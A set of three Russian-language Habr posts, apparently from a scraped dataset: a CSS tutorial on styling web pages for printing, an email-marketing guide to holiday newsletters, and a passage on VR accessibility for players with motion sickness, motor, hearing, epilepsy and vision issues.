Меня этот твит зацепил. Я вдруг понял, что уже и не вспомню, когда оптимизировал веб-страницы для печати или хотя бы проверял то, как они выводятся на принтер.
Основное внимание в ходе веб-разработки приковано к электронным версиям сайтов. Страницы приходится проверять во множестве браузеров, испытывать на разных размерах окон… До принтеров ли тут. А может, я забыл о стилях для печати потому что сам редко делаю бумажные копии страниц. Как бы там ни было, я почувствовал, что ситуацию надо срочно исправлять.
Печатный вариант веб-страницы имеет такое же право на существование, как и электронный. И, если мы стремимся к тому, чтобы сделать наши материалы как можно доступнее, не стоит пренебрегать бумажными носителями информации. Кроме того, не следует делать предположений о пользователях и об их поведении. Люди всё ещё распечатывают веб-страницы на принтерах. Просто представьте себе статьи или посты в блогах, страницы с рецептами, контактными сведениями, схемами проезда или со списками объявлений. Рано или поздно кто-нибудь непременно попытается распечатать что-то из того, что вы разместили в интернете.
Вот что говорит по этому поводу Хейдон Пикеринг, автор книги «Inclusive Design Patterns»: «Я уже давно не пользуюсь домашними принтерами. Дело тут в том, что у меня возникает ощущение, будто они ломаются минут через десять после того, как запустишь печать. Но я – не все».
Если сейчас вы поняли, что, как и я, не уделяли должного внимания стилям для печати, надеюсь, мой рассказ сослужит вам хорошую службу и поможет быстро освежить память. А если вы вообще никогда не оптимизировали веб-страницы для принтеров, моя небольшая коллекция полезных CSS-приёмов позволит вам к такой оптимизации приступить. 1. Использование CSS-стилей для печати
Лучший способ подключить к странице стили для печати – это объявить правило @media в вашем основном CSS-файле. body {
font-size: 18px;
}
@media print {
/* здесь будут стили для печати */
body {
font-size: 28px;
}
}
Как вариант, можно вынести стили для печати в самостоятельный файл и подключить его в HTML, но при таком подходе понадобится дополнительный запрос при загрузке страницы. <link media="print" href="print.css" /> 2. Тестирование
Как оценить внешний вид веб-страницы, подготовленной для печати? Любому ясно, что выводить её на бумагу после каждого изменения стиля – не лучшее решение. К счастью, возможностей браузеров вполне достаточно для «безбумажной» проверки печатных вариантов страниц.
В зависимости от браузера, можно экспортировать страницу в PDF, воспользоваться функцией предварительного просмотра или даже отлаживать страницу прямо в веб-обозревателе.
Для отладки стилей печати в Firefox, откройте Панель разработчика , воспользовавшись комбинацией клавиш Shift + F2 или выполнив команду меню Разработка → Панель разработки . Введите в командной строке, расположенной в нижней части окна, следующее: media emulate print , завершив ввод нажатием Enter . Активная вкладка будет действовать так, если бы для неё media type было бы print , до тех пор, пока вы не закроете или не обновите страницу. Эмуляция печати в Firefox
В Chrome тоже имеется подобная возможность. Откройте Инструменты разработчика , для чего, в MacOS, можно воспользоваться комбинацией клавиш CMD + Opt + I , в Windows – Ctrl + Shift + I , или выполните команду меню Дополнительные инструменты → Инструменты разработчика . После этого откройте панель рендеринга. Один из способов сделать это заключается в том, чтобы, нажав на клавишу Esc , вывести панель Console , а затем, через меню, открыть панель Rendering . В панели рендеринга установите флаг Emulate CSS Media и выберите Print . Эмуляция печати в Chrome
Ещё о тестировании печатных версий веб-страниц можно почитать на StackOverflow . 3. Абсолютные единицы измерения
Абсолютные единицы измерения не очень подходят для экранных вариантов страниц, но для печати они – это как раз то, что нужно. В стилях для печати совершенно безопасно, более того – рекомендовано использовать абсолютные единицы измерения , наподобие cm , mm , in , pt , или pc . section {
margin-bottom: 2cm;
} 4. Свойства страниц
Для управления свойствами страниц, вроде их размеров, ориентации и полей, можно использовать правило @page . Это оказывается очень кстати, скажем, когда надо, чтобы у всех печатных страниц были одинаковые поля. @media print {
@page {
margin: 1cm;
}
}
Правило @page – это часть стандарта Paged Media Module , который предлагает множество замечательных вещей, вроде выбора первой страницы для печати, настройки пустых страниц, позиционирования элементов в углах страницы и так далее . Его можно использовать даже для того, чтобы готовить к печати книги . 5. Управление разрывами страниц
Так как печатные листы, в отличие от веб-страниц, не бесконечны, содержимое веб-страниц рано или поздно обрывается на одном листе бумаги и продолжается на следующем. Для управления разрывами страниц имеется пять свойств. ▍Разрыв страницы перед элементом
Если нужно, чтобы некий элемент всегда находился в начале страницы, можно поставить перед ним принудительный разрыв страницы с помощью свойства page-break-before . section {
page-break-before: always;
} ▍Разрыв страницы после элемента
Свойство page-break-after позволяет задать принудительный разрыв страницы после элемента. С помощью этого свойства можно и запретить разрыв. h2 {
page-break-after: always;
} ▍Разрыв страницы внутри элемента
Свойство page-break-inside окажется очень кстати, если нужно избежать разделения некоего элемента между двумя страницами. ul {
page-break-inside: avoid;
} ▍Верхние и нижние висячие строки
Иногда в принудительном разрыве страниц нет нужды, но требуется управлять выводом абзацев на границах страниц.
Например, если последняя строка абзаца на текущей странице не помещается, на следующей странице будут напечатаны последние две строки этого абзаца. Это происходит из-за того, что свойство, которое это контролирует ( widows , то есть – «верхние висячие строки») по умолчанию установлено в значение 2. Это можно изменить. p {
widows: 4;
}
Если возникла другая ситуация и лишь одна строка абзаца помещается на текущей странице, весь абзац будет напечатан на следующей странице. Свойство, ответственное за нижние висячие строки ( orphans ), по умолчанию так же установлено в 2. p {
orphans: 3;
}
Смысл вышеприведённого кода заключается в том, что для того, чтобы абзац не переносился целиком на следующую страницу, как минимум три строки должны поместиться на текущей странице.
Для того, чтобы лучше в этом разобраться, взгляните на пример, подготовленный с помощью CodePen . А вот – отладочная версия того же примера, её удобнее тестировать.
Надо отметить, что не все свойства и их значения универсальны, поэтому CSS-стили для печати стоит проверять в разных браузерах. 6. Сброс стилей
Готовя веб-страницу к печати, имеет смысл сбросить некоторые стили, например – background-color , box-shadow , color .
Вот фрагмент из HTML5 Boilerplate print style sheet : *,
*:before,
*:after,
*:first-letter,
p:first-line,
div:first-line,
blockquote:first-line,
li:first-line {
background: transparent !important;
color: #000 !important;
box-shadow: none !important;
text-shadow: none !important;
}
Кстати, CSS-стили для печати – одно из немногих исключений, где директива !important – это абсолютно нормально ;) 7. Удаление ненужного контента
Для того, чтобы впустую не тратить чернила, следует убирать из печатного варианта страницы всё ненужное, вроде огромных красивых слайдов, рекламы, средств навигации по сайту и прочего подобного. Сделать это можно с помощью установки свойства display в значение none у ненужных элементов. Вполне возможно, что вы сочтёте правильным показать лишь основное содержимое страницы, а всё остальное – скрыть: body > *:not(main) {
display: none;
} 8. Вывод адресов ссылок
Ссылки, в том виде, в котором они обычно присутствуют на веб-страницах, при печати совершенно бесполезны, если только читателю бумажной версии документа не известно, куда они ведут.
Для того, чтобы вывести адреса ссылок после их текстовых представлений, достаточно воспользоваться следующим стилем: a[href]:after {
content: " (" attr(href) ")";
}
Конечно, при таком подходе «расшифровано» будет много лишнего. Например, относительные ссылки, абсолютные ссылки на том же сайте, где размещена печатаемая страница, ссылки с якорями и так далее. Для того, чтобы не засорять печатную страницу, лучше будет использовать примерно такую конструкцию: a[href^="http"]:not([href*="mywebsite.com"]):after {
content: " (" attr(href) ")";
}
Выглядит это, конечно, безумно. Поэтому объясню смысл данного правила обычным языком: «Отобразить значение атрибута href около каждой ссылки, у которой есть такой атрибут, который начинается с http , но не содержит mywebsite.com ». 9. Расшифровка сокращений
Сокращения в тексте должны размещаться в теге <abbr> , а их расшифровки нужно включать в атрибут title . Если оформлять сокращения именно так, их значения очень просто показать на печатной странице: abbr[title]:after {
content: " (" attr(title) ")";
} 10. Принудительная печать фона
Обычно браузеры, формируя страницу для печати, не выводят фоновый цвет и фоновые изображения, если им это явно не указать. Однако, иногда всё это печатать надо. Здесь нам поможет нестандартизированное свойство print-color-adjust , которое позволяет переопределить, для некоторых браузеров, настройки по умолчанию. header {
-webkit-print-color-adjust: exact;
print-color-adjust: exact;
} 11. Медиа-запросы
Если вы пишете медиа-запросы примерно так, как показано ниже, учитывайте, что CSS-правила в подобных запросах не повлияют на печатную версию страницы. @media screen and (min-width: 48em) {
/* только для экрана */
}
Почему это так? Всё дело в том, что CSS-правила применяются только в том случае, если значение min-width равно 48em , и если media-type – это screen . Если избавиться в этом медиа-запросе от ключевого слова screen , то он окажется ограниченным лишь значением min-width . @media (min-width: 48em) {
/* все типы средств отображения информации */
} 12. Распечатка карт
Текущие версии Firefox и Chrome умеют выводить на печать карты, но, например, Safari этого не может. Как же быть при печати карт? Один из универсальных вариантов – использовать, вместо динамических, статические карты . .map {
width: 400px;
height: 300px;
background-image: url('http://maps.googleapis.com/maps/api/staticmap?center=Wien+Floridsdorf&zoom=13&scale=false&size=400x300&maptype=roadmap&format=png&visual_refresh=true');
-webkit-print-color-adjust: exact;
print-color-adjust: exact;
} 13. QR-коды
Вывод на печать QR-кодов, содержащих важные ссылки, может значительно повысить удобство работы с бумажными версиями веб-страниц. Вот материал в The Smashing Magazine, где можно найти полезные советы на эту тему. Один из них заключается в том, чтобы включать в печатные страницы их адреса в виде QR-кодов. В результате пользователю, для того чтобы открыть в браузере страницу, с которой была сделана распечатка, не придётся набирать на клавиатуре её полный адрес. 14. О печати неоптимизированных страниц
Занимаясь темой печати веб-страниц, я обнаружил отличный инструмент, который позволяет удобно готовить к выводу на принтер неоптимизированные страницы. С помощью Printliminator можно убрать со страницы ненужные элементы, просто щёлкая по ним. Вот демонстрация работы с этим инструментом на YouTube, а вот – страница проекта на Github. 15. Gutenberg
Если вам нравятся фреймворки, вам может приглянуться Gutenberg , который немного упрощает подготовку веб-страниц к печати. 16. Hartija
А вот ещё один CSS-фреймворк для печати. Называется он Hartija , создал его Vladimir Carrer . Итоги
Если вы хотите увидеть в деле кое-что из того, о чём мы говорили, вот ссылка на проект в CodePen с примерами (а вот – его отладочная версия).
Оптимизировать веб-страницы для печати не так уж и сложно. Пожалуй, самое главное – не забывать об этом. Надеюсь, теперь сайтов, которые дружат с принтерами, станет немного больше. | https://habrahabr.ru/company/ruvds/blog/317776/ |
habrahabr | Как составить успешные праздничные рассылки | ['email маркетинг', 'email рассылки'] | Хотите серьезно заняться email маркетингом и не упустить свою долю праздничных конверсий? В нашей статье пойдет речь о том, как извлечь максимум пользы, составляя праздничные рассылки и какие... | Хотите серьезно заняться email маркетингом и не упустить свою долю праздничных конверсий? В нашей статье пойдет речь о том, как извлечь максимум пользы, составляя праздничные рассылки и какие приемы для этого существуют. Фото Chad Sparkes (Flickr) Что учесть при составлении праздничных рассылок:
• Изучите аудиторию
Соберите все данные о подписчиках и клиентах и подумайте, что предложить и как это преподнести. История покупок, часовой пояс и устройства , с которых открывают рассылки, помогут вам сориентироваться.
• Продумайте серию писем
Рассылка к празднику обычно состоит из 2-3-4 писем. Это может быть анонс за неделю, за день и собственно в день проведения акции.
• Вставьте четкий CTA
Расположите кнопку призыва к действию, чтобы она выделялась. Можно составить письмо с единым CTA на всю распродажу или с фотографиями нескольких товаров и CTA возле каждой из них. Используя второй вариант, желательно не перестараться с количеством CTA – покупателю будет легко потеряться в их количестве.
• Позаботьтесь об адаптивной верстке
Согласно исследованию Deloitte , за последний год количество россиян, совершающих покупки со смартфона возросло на 10%. Это тенденция не только России, но и западных стран, поэтому даже не сомневайтесь в необходимости писем с адаптивным дизайном. И не забывайте о мобильной версии сайта. Какие приемы использовать 1. Гид по подаркам
Наиболее распространенным вопросом перед праздниками является «Что подарить?». Почти 1,5 млн результатов по запросу «идеи подарков». Отправляйте email письма с такими идеями к определенному празднику. Это увеличит ваши продажи, поможет завоевать авторитет и доверие у подписчиков.
Перед тем, как предлагать скидку или подарок, обратите внимание на акции, которые больше всего предпочитают покупатели :
Проанализировав диаграмму, можно сделать вывод, что покупатели больше всего ждут от продавцов процентной скидки или же распродажи, так предложите им это! 2. Скидка с ограниченным сроком действия
Предоставьте подписчикам процентную скидку на весь товар. Стимулируйте их к покупке, ограничив срок действия акции и количество товара. 3. Бесплатная доставка 58% покупателей бросают свои корзины после увиденной стоимости доставки . Они хотят покупать товар, но для этого нужен дополнительный стимул. Таким стимулом может быть бесплатная доставка. Хорошим решением будет установить минимальную сумму заказа или ограничить время бесплатной доставки. 4. Распродажа 25% покупателей начинают делать покупки еще с середины декабря . 38% покупают подарки в последний момент с целью сэкономить больше денег.
Чтобы добиться успеха у всех своих покупателей, устройте раннюю и позднюю распродажи. Вы можете предложить особые скидки за неделю до Черной пятницы, а тем, кто пропустил предновогодние распродажи, предложите посетить январскую. 5. Специальные предложения для подписчиков
Не забывайте о том, что каждому человеку хочется чувствовать себя особенным. Обеспечьте вашим подписчикам такое чувство, предоставив дополнительную скидку по коду, который они увидят после открытия email письма. Для большей мотивации к покупке, используйте счетчик времени до окончания действия скидки. 6. Конкурсы
Можно подготовить конкурсы ко Дню дурака (на наиболее смешную шутку или видео розыгрыш), Дню защиты детей (на лучший детский рисунок), ко Дню семьи (на лучшее семейное фото) или к 8 марта, как это сделала компания Panasonic. Они организовали фотоконкурс для женщин, где нужно было выложить фото, которое показывает, что женщины – не слабый пол. 7. Календарь-напоминание
Люди имеют привычку делать напоминания в календаре. Сделайте и вы анонс предстоящих дней распродажи в форме календаря, чтобы важные даты было легко запомнить.
Mud Pie использует этот прием, чтобы оповестить покупателей о крайних сроках для нескольких видов доставки, чтобы получить подарки вовремя к Рождеству.
Чтобы облегчить планирование праздничных email кампаний, воспользуйтесь бесплатными шаблонами от SendPulse.
А пока вы планируете рассылки, мы уже готовим для вас полезный материал о сегментации. Высоких вам праздничных конверсий! | https://habrahabr.ru/company/sendpulse/blog/317744/ |
habrahabr | Доступность VR для людей с ограниченными возможностями | ['accessibility', 'VR', 'виртуальная реальность', 'доступность', 'люди с ограниченными возможнoстями'] | Виртуальная реальность содержит в себе фантастический потенциал для людей с ограниченными возможностями. Новые ощущения, терапевтическая помощь, даже расширение возможностей для тех, кто лучше... | Виртуальная реальность содержит в себе фантастический потенциал для людей с ограниченными возможностями. Новые ощущения, терапевтическая помощь, даже расширение возможностей для тех, кто лучше управляет головой, чем руками. Но она также добавляет серьёзные новые барьеры, которые с большой вероятностью могут ограничить доступ к этим преимуществам.
Некоторые из таких барьеров VR неустранимы. Есть люди, которые просто никогда не смогут принять участие в той VR, которая существует сейчас. Это люди, которые не смогут справиться с симуляционным укачиванием, люди, которые просто физически не могут надеть громоздкое устройство на голову.
Но другие барьеры можно обойти благодаря правильным дизайнерским решениям и концепции доступности.
Мы пока находимся в начале нынешнего поколения VR, поэтому пост не будет ответом на все вопросы или набором конкретных инструкций. Существуют не рассмотренные здесь проблемы, в которых есть много пространства для инноваций, открытия нового и создания лучших паттернов дизайна.
Однако статья может ответить на некоторые вопросы, указать на специфичные для VR барьеры доступности, показать возможные решения, позволяющие в результате охватить виртуальной реальностью больше людей. Симуляционное укачивание " Из-за «морской болезни» я перестал покупать игры, в которых используется искусственное движение. Я пробовал играть в них в течение 6 недель и каждый раз чувствовал тошноту".
Lord Wibbley из Reddit Симуляционное укачивание возникает из-за того, что часть чувств сообщает мозгу, что происходит одно, в то время как другие чувства сообщают о другом – возникает сенсорное несоответствие между восприятием зрительной системы и вестибулярного аппарата. Это очень похоже на «морскую болезнь», только наоборот. «Морская болезнь» возникает, когда зрительная система сообщает, что вы неподвижны, но вестибулярный аппарат говорит, что вы двигаетесь. Симуляционное укачивание возникает, когда зрительная система говорит, что вы движетесь, а вестибулярный аппарат сообщает о неподвижности.
Решение проблемы симуляционного укачивания — это область обеспечения доступности, в которую вкладывается больше всего усилий. Это неудивительно, учитывая её роль в непопулярности VR-индустрии в начале 90-х. «Домашняя версия Sega VR так и не была выпущена, потому что у многих пользователей возникала „морская болезнь“». Том Калинске рассказывал в интервью Hyper: «У нас были огромные надежды на неё в девяностых, но технология ещё была не готова. Кроме того, почти каждого укачивало от погружения в VR». Sega & VR – Ahead Of It’s Time Эта важная и превалирующая проблема. Некоторые люди никогда не смогут из-за неё играть в VR , вне зависимости от качества оборудования и ПО. Для некоторых людей даже надевания очков и осматривания по сторонам достаточно получения симуляционного укачивания.
Некоторые — но не все — люди могут адаптироваться благодаря акклиматизации. Однако я скептически отношусь к степени её возможности. Всегда есть люди, которые просто не будут пробовать во второй раз, если первый опыт был неудачным. Шанс того, что второй раз будет не таким ужасным, не выглядит достаточно веской причиной.
У меня самого был ужасный опыт. Я находился в ситуации, когда должен проверить доступность VR-игры, и у меня была на это одна попытка. После появления ощущения приступа я заставлял себя терпеть его ещё четверть часа, чтобы полностью проверить игру. Никогда этого не делайте!
В результате я проболел следующие два дня и ощущал негативные эффекты ещё около года. В течение прошлого года я регулярно страдал от укачивания в машине, чего со мной не было с детства. Сейчас быстрое перемещение в фильма и игра в FPS тоже вызывают сложности, которых я раньше не испытывал.
Я читал другие отчёты о тех же долговременных эффектах неудачного опыта. Хотя это очевидно нечастые и экстремальные случаи. Но вам точно не нужен опыт, который настолько плох, что подкосит вас.
И, разумеется, это не только важно с точки зрения опыта отдельных игроков. Это важно для всей индустрии VR с точки зрения рекламы. Хорошо известный пример негативного случая на показе Resident Evil на E3 отвлекает внимание от множества положительных историй.
Многие люди могут избежать симуляционного укачивания в случае использования правильных дизайнерских решений. Цель заключается в том, чтобы глаза не передавали ощущение движения, когда внутреннее ухо и другие органы говорят об отсутствии движения.
Вот некоторые из существующих техник: Опции перемещения, позволяющие избегать ощущений движения, несоответствующих движениям игрока.
Постоянный контроль игрока над камерой и постоянное управление ею движениями головы по умолчанию (хотя дополнительная опция использования контроллера и полезна для людей с проблемами с моторикой.)
Динамическое уменьшение периферийной видимости при движении.
Предоставление игроку опорной точки для взгляда (например, тропы или кокпита).
Сохранение постоянного уровня горизонта.
Избегание быстрого движения объектов к игроку, от игрока и рядом с ним (в том числе больших объектов, двигающихся близко к голове игрока).
Отсутствие ускорения и замедления
Сохранение стабильно высокого уровня кадров в секунду (минимальные требования сейчас зависят от платформы и результатов исследований – 60 fps, 75 fps, 90 fps – но они всегда должны оставаться постоянными) и низкой латентности (ниже 20 мс)
Избегание любого типа эффекта смазывания (в особенности в области периферийного зрения)
Отсутствие быстрого перемещения головы (для снижения риска сдвига оборудования при использовании).
Грамотное использование терминов, например «удобство» вместо «неприятных ощущений», потому что сама мысль о симуляционном укачивании может сделать игрока более чувствительным к нему.
Есть множество других решений и литературы по этому вопросу. Поэтому, чтобы не повторяться, перечислю несколько хороших источников: Best Practices: Simulation Sickness , Oculus
Simulation Sickness and VR — What is it, and what can developers and players do to reduce it? by Ben Lewis-Evans
How to Avoid the Effect of Motion Sickness in VR , VRScout
VR and Simulation Sickness , by Unreal
Do the locomotion: How VR devs are expanding the virtual space , by Kris Graft
This is Your Brain on VR , Kimberly Voll
Некоторые решения проблемы симуляционного укачивания могут быть реализованы как неотъемлемая часть опыта игры, другие реализуются через опции. Эти опции с самого начала виделись как некий «комфортный режим». Например, в The Gallery: Six Elements комфортный режим заменял свободное аналоговое движение поворота на переключение с шагом в 30 градусов. «В VR всё решают опции, а комфортный режим VR (Comfort Mode) — дополнительный режим новичка, который оказался очень удобным на практике. Не всем он понравится, но он меньше разрушает эффект погружения, чем приём средств от укачивания. Наша цель — дать людям широкие возможности, чтобы они оставались в симуляции как можно дольше».
CloudHeadGames на Reddit Но всё равно следует учитывать, что в игру будет играть множество людей, не знающих, что им требуется комфортный режим. Так что лучше включить его по умолчанию, и позволить освоившимся игрокам переключаться на режим, более подверженный укачиванию, но и с большим погружением". «Когда я закончил, у меня было чувство тошноты. Мне нужно было присесть и немного отдохнуть. Но я думаю, что это было из-за первых пяти минут, а не последних пятнадцати. Если бы комфортные настройки были включены с самого начала, думаю, ощущения были бы нормальными».
Dan Crawley на venturebeat.com Симуляционное укачивание было большой проблемой игр уже давно, ещё до VR. В частности, в играх от первого и третьего лица. Такие аспекты, как изначально хорошая и настраиваемая область видимости, а также переключение режимов размытия и перемещения оружия, значительно влияют на восприятие. «Игры с двумя типами одновременного движения, например, покачиванием головы (при ходьбе голова немного двигается вверх-вниз) и перемещением оружия (при ходьбе оружие двигается вверх-вниз), каждый раз вызывают у меня тошноту».
Eric Qualls на about.com Несмотря на свою важность и отрицательное влияние на игры, немногие разработчики осознают этот фактор. Я надеюсь, что разработчики игр усвоят уроки VR о зрительном и вестибулярном несоответствии и применят их не только в VR. Если VR сможет привлечь внимание к проблеме во всей индустрии, то это будет замечательно и сделает игры гораздо более приятными для большего количества людей. Двигательная недостаточность «Как игрока с ограниченными возможностями меня волнует вопрос VR. Я не могу ходить, и даже с трудом двигаю руками. Не останутся ли люди вроде меня за бортом с развитием технологий виртуальной реальности?»
Johanna Roberts на YouTube Двигательная доступность в видеоиграх традиционно означает способность управлять контроллером. Если не учитывать малое количество игр с управлением жестами, это означает, что требования игр к моторике сосредоточены на руках и кистях.
В VR диапазон и сложность требований к моторике значительно повышены. В особенности из-за громоздкого головного оборудования текущего поколения. Уже есть многообещающие аппаратные разработки, например, VR с управлением взглядом, но они пока недоступны на массовом коммерческом рынке.
Ограничения моторики в VR включают в себя: Силу/уставаемость – способность/количество времени возможного выдерживания веса на голове или в руках, а также выполнения повторяющихся действий. Диапазон движений – насколько голова или руки могут перемещаться в любом направлении, насколько хорошо двигаются пальцы, в особенности в случае контроллеров с кнопками на разных сторонах, а также органов управления, расположенных на самом головном оборудовании. Точность – способность выполнять небольшие, плавные или точные движения Рост – в широком диапазоне, включая сидение на кресле-коляске. Двигательную активность – способность ходить, наклоняться, приседать или вставать на колени Наличие частей тела и пальцев – не у каждого человека с двумя руками есть десять действующих пальцев. Скорость – способность выполнения задания в течение заданного промежутка времени. Равновесие и проблемы с равновесием – в особенности у пожилых игроков.
Всё перечисленное — это очевидные проблемы. Некоторые барьеры, поставленные VR для моторики, непреодолимы, но большинство можно обойти. Существуют и очевидные, и довольно интересные решения. Можно предоставить игрокам выбор способов ввода, настраиваемую высоту головы, опции навигации по окружению и диапазону движений. Если концепция игры не может избавиться от таких зависимостей, то это нормально. Игры по определению должны содержать в себе барьеры, а любые барьеры ограничивают. Можно проанализировать барьеры в механике игры, выяснить, какие из них необходимы, а какие нет, и оптимизировать игровой опыт, чтобы он доставлял удовольствие как можно большему количеству людей.
Многие люди уже проделали отличную работу в этой области, и это на текущем этапе развития индустрии воодушевляет: http://www.polygon.com/2016/4/7/11379894/fantastic-contraption-htc-vive-rift http://www.triangularpixels.net/cms/development/vr-games-for-all-designing-unseen-diplomacy-for-disabled-users/ http://www.vrinflux.com/the-user-is-disabled-solving-for-physical-limitations-in-vr/ http://www.vrinflux.com/vr-accessibility-why-changing-head-height-matters/
Повторюсь, хотя перечисленные выше подходы и удивительны, это всего лишь первые шаги. Здесь есть большое поле для инноваций и нахождения новых способов избавления от необязательных ограничений.
Как и в случае игр без VR, ключевой момент — наличие опций. Например, опция использования стандартного контроллера вместо отслеживания движений руки или ходьбы. Она полезна не только для людей с недостаточными для игры в Vive точностью и диапазоном движений. Она полезна также и для людей, более подверженных травмам, риск которых может повышаться , когда игрок не видит угла и положения своих конечностей. Поставляемый с PSVR набор игр — прекрасный пример возможности выбора между управлением движением и стандартными контроллерами. Выбор между стандартными контроллерами и управлением движением.
Очень важно понять, что оптимальный с вашей точки зрения способ погружения в игру — не единственный. Если кто-то сможет ощутить 80% вашего видения игры, то это намного лучше, если он ощутит 0%.
Допустим вы видите игру как «комнатную» VR с перемещением головы на 360 градусов и полным отслеживанием движений рук. Но игрок, не имеющий возможности поворачивать голову в горизонтальной плоскости или не имеющий двигательной способности вообще, всё равно может получить больше ощущений от игры, чем кто-нибудь другой. Утеря слуха
Звук — важная часть VR-опыта, имеющая, однако, жёстко заданный формат. Даже в случае высококачественного 3D/бинаурального звука механизмом «доставки» всегда служат только стереонаушники. Широко распространённая односторонняя тугоухость (неравномерная утеря слуха правого и левого уха) ограничивает восприятие жёстко разделённого стереозвука. «С рождения я наполовину глух. У меня работает только правое ухо. Меня это никогда не ограничивало, потому что я не знал ничего другого. Но это относится только к реальному миру. Что касается игр, а теперь и виртуальной реальности, то мне очень мешает стереозвук».
khannr2 на reddit Включение моно-режима (проигрывание обоих стереоканалов через оба уха) — очень ценная функция в играх без VR. Но она означает, что вы теряете и ощущение направления.
В реальной жизни односторонняя тугоухость частично компенсируются эхом. Например, глухой на левое ухо человек может немного слышать звуки слева, потому что они отражаются от поверхностей справа. Это может быть интересной областью исследования, в особенности для игровых движков. Уже есть интересные работы по более точному представлению звука (самая последняя — в Gears of War 4 ), но тут ещё много возможностей для инноваций.
Но одной из самых серьёзных проблем при утере слуха в VR сейчас являются субтитры (текстовый аналог речи/других важных звуков). Точнее, их отсутствие. «Когда я играл в демо Robot Repair компании Valve, я должен был выполнять инструкции, которых не слышал. Я осознал, что возможно, в VR-играх может вообще не быть субтитров, и это не позволит мне насладиться множеством возможностей, которые я хочу испытать».
Karmagon на Reddit Функция, ставшая почти стандартом для всех игровой индустрии, отсутствует во множестве VR-игр. Естественно, она влияет на возможность доступности для людей со слабым слухом и на затраты на локализацию. Важный урок здесь в том, что если не учитывать доступность игр для людей с ограниченными возможностями, то ситуация очень легко может становиться ещё хуже.
Почему же так происходит?
Похоже, что есть довольно простой ответ. Субтитры в других медиа не представляют большой проблемы для дизайна и расположены в нижней части экрана. Но в VR нет нижней части экрана. Поэтому это представляет проблему для дизайна.
Можно расположить их в нижней части области видимости игрока. Для этого они должны быть прямо рядом с игроком, чтобы их не перекрывали окружающие объекты. Субтитры, плавающие перед игроком в The Vanishing of Ethan Carter
Однако здесь есть проблема: конфликт сигналов вергенции и приспособляемости, подробно описанный здесь Эдриен Хантер Adrienne Hunter .
Итак, вариант с плавающими субтитрами неприменим из-за напряжения глаз, головных болей и тошноты. Что остаётся ещё? Другой подход — делать субтитры контекстными, привязывать их к источникам звука, которыми чаще всего бывают персонажи игры.
Здесь конфликт сигналов вергенции и приспособляемости не возникает. Но тогда появляется другая проблема. Что если игрок смотрит в другом направлении? Если у вас нет возможности узнать, что кто-то говорит, то нет причин оглядываться и читать текст. В результате получается система гораздо хуже, чем используемые вне VR, поэтому это тоже неидеальное решение.
И, как часто бывает, если нет очевидного дизайнерского решения, то его просто игнорируют.
Но эту проблему можно решить. У неё есть такие решения, как ранний прототип VR-субтитров разработчика из Мельбурна Джо Уинтергрина ( Joe Wintergreen ). Прототип сочетает в себе два подхода: контекстное расположение текста при нахождении в области видимости игрока и прикрепление его к фиксированной точке, если источник невидим для игрока. Это позволяет игроку выбирать, хочет ли он повернуться к источнику.
Пример реализации: http://imgur.com/BimnIas
Как и в случае ограничений моторики, это только первый шаг, здесь есть большие возможности для инноваций. Например, можно улучшить систему, добавляя имя говорящего, если присутствуют несколько источников звука, или указывая на местоположение источника звука (размещая текст слева/справа или с помощью стрелок). Также пригодятся рекомендации по дизайну субтитров — в особенности следует уделить внимание размеру и контрастности.
Но это самый многообещающий подход, из тех, что видел лично я. Он позволяет избежать конфликта сигналов вергенции и приспособляемости и делает текст доступным, даже если говорящий не виден.
И, разумеется, речь — это не все звуки. Это относится и к играм без VR, но особенно важно в виртуальной реальности из-за жёсткого разделения аудиосигналов: не стоит полагаться на звук для передачи важной информации. Используйте несколько каналов, т.е. передавайте информацию и визуально. Это не только делает информацию доступной людям с утерей слуха, но и часто является хорошим дизайнерским решением для всех игроков — усиливает передачу и ускоряет распознавание информации. Светочувствительная эпилепсия «Не думаю, что испытывала что-то более ужасающее, чем мой первый приступ. Такого не пожелаешь и худшему врагу».
Cathy Vice, IndieGamerChick.com Проблема светочувствительной эпилепсии — редко встречающаяся, но критически важная область обеспечения доступности. Несмотря на то, что она возникает в малом количестве случаев эпилепсии, последствия её очень серьёзны. Обычно доступность подразумевает избавление от плохих ощущений или от невозможности поиграть в игру. Или, как в случае симуляционного укачивания, от довольно сильного дискомфорта. Но эпилепсия приводит к реальному физическому ущербу.
Поэтому производители как можно убедительнее уговаривают людей с эпилепсией не использовать VR-оборудование. Но вот в чём проблема — единственный способ обнаружить у себя эпилепсию — испытать её приступ. Обязательная домашняя проверка на эпилепсию компании Ubisoft была введена в результате первого приступа ребёнка, игравшего в Rabbid Rabbits.
Важно заметить, что игры не «заражают» игроков эпилепсией, но они могут стимулировать приступы. В том числе у людей с предрасположенностью к ней, но не имевших приступов раньше, и не знающих, что у них есть предрасположенность. Например, по оценкам британской благотворительной организации помощи людям с эпилепсией каждый год в одной только Великобритании около 150 человек испытывают первый приступ, играя в игры.
Исследований по влиянию VR на приступы эпилепсии пока нет. Но фактором воздействия является область видимости, подверженная визуальному эффекту. При просмотре телевизора есть жёсткое ограничение этой области, потому что экран занимает относительно малую часть области видимости. Но в VR эта область, в которой вероятно появление опасных вспышек, мерцаний и цветовых шаблонов, может составлять до 100%.
При полном тонико-клоническом приступе ( потеря сознания с последующими спазмами мышц ) надетое на голову громоздкое оборудование, прикреплённое к глазам, и кабель, обвивающийся вокруг шеи — не самое лучшее сочетание.
Хотя и невозможно обеспечить полную безопасность игры для людей с эпилепсией, существует стандартный набор общих триггеров , который нужно учитывать для снижения вероятности приступов. Он соотносится с двумя аспектами миганием/мерцанием и повторяющимися высококонтрастными цветовыми шаблонами. Некоторые компании просто не допускают их присутствия в своих играх, другие используют опции для их отключения. Для некоторых триггеров есть пороги, основанные на длительности воздействия и площади, занимаемой на экране.
Но поскольку качественные исследования пока отсутствуют, из-за потенциально более высокого риска и серьёзного ущерба разумнее учитывать «пессимистичный» сценарий и временно отбросить мысль об опциях. Вместо них лучше просто вообще избегать стандартных триггеров, вне зависимости от времени воздействия и площади на экране.
У Oculus есть на этот счёт очень чёткая позиция – «Вы несёте ответственность за отсутствие намеренного мерцания в играх. …Вы должны убедиться, что контент соответствует стандартам и рекомендациям по безопасности графики». Oculus developer centre Нарушения зрения «Главная страница Oculus выглядит довольно хорошо, но для меня она почти бесполезна. Плитки основной области и маленькие панели слева и справа преднамеренно расположены на виртуальном расстоянии от пользователя. Нет никакой возможности подойти к ним или увеличить их. Я вижу, что плитки там есть, но не могу ничего прочитать. Я знаю из видео на YouTube, что правая панель — это список друзей, а левая — список недавно запущенных игр, или что-то вроде того, но я не могу прочитать информацию на них. К счастью, я могу запускать игры Rift из приложения Oculus во вкладке Library. Если бы я не мог, всё было бы совсем печально».
